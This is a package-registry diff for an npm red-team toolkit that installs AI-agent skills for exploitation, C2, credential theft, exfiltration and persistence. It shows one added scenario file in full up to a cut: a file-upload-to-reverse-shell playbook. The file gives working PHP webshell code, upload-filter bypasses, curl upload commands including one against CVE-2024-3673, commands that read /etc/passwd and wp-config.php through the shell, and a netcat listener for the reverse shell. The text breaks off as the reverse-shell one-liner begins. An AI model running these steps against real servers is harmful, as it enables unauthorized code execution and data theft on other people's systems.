rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,479 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w005
|
|
3
|
+
description: "W-005: File Upload → PHP Webshell → RCE → Reverse Shell. Domain: web. Attack chain: find upload endpoint → bypass extension validation → upload PHP webshell → access webshell URL → execute commands → netcat reverse shell. MITRE: T1190 → T1059.004 → T1059.001. Real example: popup-builder CVE-2024-3673: unauthenticated file upload → shell.php → OS command execution"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-005: File Upload → PHP Webshell → RCE → Reverse Shell
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Gain remote code execution on the target web server by abusing an unrestricted or improperly validated file upload endpoint to deploy a PHP webshell, then pivot to a fully interactive reverse shell.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** None (unauthenticated) — depending on the target, a low-privilege account may be needed to reach the upload feature.
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:** 15–45 minutes (reconnaissance through shell)
|
|
15
|
+
|
|
16
|
+
**Detection Risk Level:** Medium — file upload activity and outbound shell connections are detectable, but the initial upload may blend with legitimate traffic if done carefully.
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
### Required Tools
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# curl — HTTP requests and file upload
|
|
26
|
+
sudo apt install curl -y
|
|
27
|
+
|
|
28
|
+
# netcat (ncat or nc) — reverse shell listener
|
|
29
|
+
sudo apt install ncat -y # or: sudo apt install netcat-openbsd -y
|
|
30
|
+
|
|
31
|
+
# ffuf or gobuster — endpoint discovery
|
|
32
|
+
sudo apt install ffuf -y
|
|
33
|
+
# or: go install github.com/OJ/gobuster/v3@latest
|
|
34
|
+
|
|
35
|
+
# Burp Suite Community — intercept and modify requests (optional but recommended)
|
|
36
|
+
# Download: https://portswigger.net/burp/communitydownload
|
|
37
|
+
|
|
38
|
+
# wfuzz — alternative fuzzer for endpoint and parameter discovery
|
|
39
|
+
sudo apt install wfuzz -y
|
|
40
|
+
|
|
41
|
+
# php — local testing of payloads
|
|
42
|
+
sudo apt install php-cli -y
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### Required Access or Conditions
|
|
46
|
+
|
|
47
|
+
- Network access to the target web server (HTTP/HTTPS)
|
|
48
|
+
- A reachable file upload endpoint (profile photo, document, import feature, plugin upload, etc.)
|
|
49
|
+
- The server must execute PHP (Apache/Nginx with PHP-FPM or mod_php)
|
|
50
|
+
- The uploaded file must be accessible via a predictable URL
|
|
51
|
+
- For CVE-2024-3673 (popup-builder): WordPress instance with the Popup Builder plugin <= 4.2.3 installed, no authentication required
|
|
52
|
+
|
|
53
|
+
### Skill Level
|
|
54
|
+
|
|
55
|
+
**INTERMEDIATE** — Requires familiarity with HTTP, web application structure, Linux shell, and basic scripting.
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Attack Chain
|
|
60
|
+
|
|
61
|
+
```
|
|
62
|
+
[T1190] Exploit Public-Facing Application
|
|
63
|
+
└── Discover upload endpoint (gobuster / manual browse / CVE recon)
|
|
64
|
+
│
|
|
65
|
+
▼
|
|
66
|
+
[T1190] Bypass Extension / MIME Validation
|
|
67
|
+
└── Rename payload, spoof Content-Type, double extension, null byte
|
|
68
|
+
│
|
|
69
|
+
▼
|
|
70
|
+
[T1059.004] Upload PHP Webshell
|
|
71
|
+
└── shell.php deployed to server-writable directory
|
|
72
|
+
│
|
|
73
|
+
▼
|
|
74
|
+
[T1059.004] Access Webshell URL
|
|
75
|
+
└── HTTP GET/POST to /uploads/shell.php?cmd=id
|
|
76
|
+
│
|
|
77
|
+
▼
|
|
78
|
+
[T1059.004] Execute OS Commands via Webshell
|
|
79
|
+
└── Enumerate user, OS, network, sensitive files
|
|
80
|
+
│
|
|
81
|
+
▼
|
|
82
|
+
[T1059.001] Establish Netcat Reverse Shell
|
|
83
|
+
└── Attacker listener + mkfifo/bash one-liner → interactive shell
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
MITRE ATT&CK mapping: **T1190 → T1059.004 → T1059.001**
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## Step-by-Step Execution
|
|
91
|
+
|
|
92
|
+
### Step 1 — Identify the Upload Endpoint
|
|
93
|
+
|
|
94
|
+
**Option A: Directory brute-force**
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
ffuf -u http://TARGET/FUZZ \
|
|
98
|
+
-w /usr/share/wordlists/dirb/common.txt \
|
|
99
|
+
-e .php,.html \
|
|
100
|
+
-mc 200,301,302 \
|
|
101
|
+
-t 40 \
|
|
102
|
+
-o ffuf_results.json
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
Expected output:
|
|
106
|
+
```
|
|
107
|
+
upload [Status: 200, Size: 4321]
|
|
108
|
+
wp-admin/upload [Status: 302, Size: 0]
|
|
109
|
+
api/import [Status: 200, Size: 128]
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
**Option B: Manual browsing**
|
|
113
|
+
Navigate to common locations: `/upload`, `/uploads`, `/media`, `/files`, `/wp-admin/media-new.php`, plugin-specific paths.
|
|
114
|
+
|
|
115
|
+
**Option C: CVE-targeted (popup-builder)**
|
|
116
|
+
```bash
|
|
117
|
+
# Confirm plugin version
|
|
118
|
+
curl -s http://TARGET/wp-content/plugins/popup-builder/readme.txt | grep -i "Stable tag"
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
Expected output:
|
|
122
|
+
```
|
|
123
|
+
Stable tag: 4.2.3
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
Fallback: If ffuf finds nothing, try authenticated upload after registering a low-privilege account, or pivot to a different attack path.
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
### Step 2 — Craft the PHP Webshell Payload
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Minimal single-parameter webshell
|
|
134
|
+
cat > /tmp/shell.php << 'EOF'
|
|
135
|
+
<?php
|
|
136
|
+
if(isset($_REQUEST['cmd'])){
|
|
137
|
+
$cmd = $_REQUEST['cmd'];
|
|
138
|
+
echo '<pre>' . shell_exec($cmd) . '</pre>';
|
|
139
|
+
}
|
|
140
|
+
?>
|
|
141
|
+
EOF
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
For environments with disabled functions, use an alternative execution method:
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
cat > /tmp/shell2.php << 'EOF'
|
|
148
|
+
<?php
|
|
149
|
+
$cmd = $_REQUEST['cmd'];
|
|
150
|
+
$output = [];
|
|
151
|
+
exec($cmd, $output);
|
|
152
|
+
echo implode("\n", $output);
|
|
153
|
+
?>
|
|
154
|
+
EOF
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
### Step 3 — Bypass Extension Validation
|
|
160
|
+
|
|
161
|
+
Try these bypass techniques in order until one succeeds:
|
|
162
|
+
|
|
163
|
+
**3a. Simple rename (no validation)**
|
|
164
|
+
```bash
|
|
165
|
+
cp /tmp/shell.php /tmp/shell_upload.php
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
**3b. Double extension**
|
|
169
|
+
```bash
|
|
170
|
+
cp /tmp/shell.php /tmp/shell.php.jpg
|
|
171
|
+
```
|
|
172
|
+
Some servers execute based on the first extension; some on the last. Test both.
|
|
173
|
+
|
|
174
|
+
**3c. Alternate PHP extensions**
|
|
175
|
+
```bash
|
|
176
|
+
for ext in php php3 php4 php5 php7 phtml phar shtml; do
|
|
177
|
+
cp /tmp/shell.php /tmp/shell.$ext
|
|
178
|
+
done
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
**3d. Null byte injection (older PHP < 5.3.4)**
|
|
182
|
+
The filename in the multipart request becomes `shell.php%00.jpg` — the server stores `shell.php`, strips null byte.
|
|
183
|
+
|
|
184
|
+
**3e. Spoof MIME type via Content-Type**
|
|
185
|
+
When using curl, force the content type:
|
|
186
|
+
```bash
|
|
187
|
+
-F "file=@/tmp/shell.jpg;type=image/jpeg"
|
|
188
|
+
```
|
|
189
|
+
while the actual file content is PHP code.
|
|
190
|
+
|
|
191
|
+
**3f. Magic bytes prepend (bypass content inspection)**
|
|
192
|
+
```bash
|
|
193
|
+
printf '\xff\xd8\xff\xe0' | cat - /tmp/shell.php > /tmp/shell_magic.php
|
|
194
|
+
```
|
|
195
|
+
Prepends JPEG magic bytes before PHP code; some validators check only the first bytes.
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
### Step 4 — Upload the Webshell
|
|
200
|
+
|
|
201
|
+
**Generic multipart upload:**
|
|
202
|
+
```bash
|
|
203
|
+
curl -s -X POST http://TARGET/upload \
|
|
204
|
+
-F "file=@/tmp/shell.php;type=image/jpeg" \
|
|
205
|
+
-F "action=upload" \
|
|
206
|
+
-v 2>&1 | grep -E "(Location|filename|path|url|HTTP/)"
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
**CVE-2024-3673 (popup-builder unauthenticated upload):**
|
|
210
|
+
```bash
|
|
211
|
+
curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
|
|
212
|
+
-F "action=sgpb_subscribe_form_import_data" \
|
|
213
|
+
-F "sgpb_subscribe_import_data_file=@/tmp/shell.php;type=text/csv" \
|
|
214
|
+
| python3 -m json.tool
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
Expected output:
|
|
218
|
+
```json
|
|
219
|
+
{
|
|
220
|
+
"status": true,
|
|
221
|
+
"message": "File uploaded successfully",
|
|
222
|
+
"file": "/wp-content/uploads/2024/shell.php"
|
|
223
|
+
}
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
Note the returned path — this is where the webshell lives.
|
|
227
|
+
|
|
228
|
+
Fallback: If the response does not include a path, guess based on common WordPress upload directories:
|
|
229
|
+
```bash
|
|
230
|
+
YEAR=$(date +%Y); MONTH=$(date +%m)
|
|
231
|
+
curl -s "http://TARGET/wp-content/uploads/${YEAR}/${MONTH}/shell.php?cmd=id"
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
### Step 5 — Verify Webshell Execution
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
curl -s "http://TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
Expected output:
|
|
243
|
+
```
|
|
244
|
+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
Basic enumeration commands:
|
|
248
|
+
```bash
|
|
249
|
+
# OS info
|
|
250
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=uname -a"
|
|
251
|
+
|
|
252
|
+
# Current directory
|
|
253
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=pwd"
|
|
254
|
+
|
|
255
|
+
# Network interfaces
|
|
256
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=ip a"
|
|
257
|
+
|
|
258
|
+
# Writable directories
|
|
259
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -writable -type d 2>/dev/null | head -20"
|
|
260
|
+
|
|
261
|
+
# Sensitive files
|
|
262
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=cat /etc/passwd"
|
|
263
|
+
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -name wp-config.php 2>/dev/null"
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
Fallback: If `shell_exec` is disabled, try `system()`, `passthru()`, or `proc_open()` variants in Step 2.
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
### Step 6 — Establish Netcat Reverse Shell
|
|
271
|
+
|
|
272
|
+
**On attacker machine — start listener:**
|
|
273
|
+
```bash
|
|
274
|
+
LPORT=4444
|
|
275
|
+
ncat -lvnp $LPORT
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
Expected output:
|
|
279
|
+
```
|
|
280
|
+
Ncat: Version 7.93 ( https://nmap.org/ncat )
|
|
281
|
+
Ncat: Listening on :::4444
|
|
282
|
+
Ncat: Listening on 0.0.0.0:4444
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
**Trigger reverse shell via webshell (choose one):**
|
|
286
|
+
|
|
287
|
+
Option A — mkfifo (most reliable):
|
|
288
|
+
```bash
|
|
289
|
+
